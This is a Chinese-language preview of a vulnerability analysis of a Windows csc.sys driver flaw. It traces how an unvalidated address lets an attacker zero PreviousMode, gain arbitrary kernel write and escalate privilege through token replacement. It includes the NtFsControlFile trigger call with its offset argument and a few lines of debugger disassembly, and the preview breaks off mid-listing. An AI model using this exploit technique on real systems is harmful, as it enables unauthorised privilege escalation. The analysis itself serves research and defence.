文章预览
微软标为 堆溢出,实际情况是这样吗? 分析发现漏洞存在于是csc.sys驱动的CscDevFcbXXXControlFile函数中,由于该函数未对传入的地址进行正确的校验从而导致了攻击者能够将PreviousMode置为0,从而获得了任意地址写的原语,之后通过token替换即可实现提权。 攻击者通过CSC_DEV_FCB_XXX_CONTROL_FILE触发漏洞函数,通过传入Curthread – 0x18 +Previousmode的偏移的地址,将PreviousMode置0 status = NtFsControlFile(handle, NULL , NULL , NULL , , CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ ( void *)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18 ), 0 , NULL , 0 ); fffff801` 2 dd89f5f 4 c8b154257fdff mov r10, qword ptr [csc!__imp_RxFinalizeConnection (fffff8012dd5f6a8)] fffff801` 2 dd89f66 e865b9f5ff call rdbss!RxFinalizeConnection (fffff8012dce58d0) fffff801` 2 dd89f6b
………………………………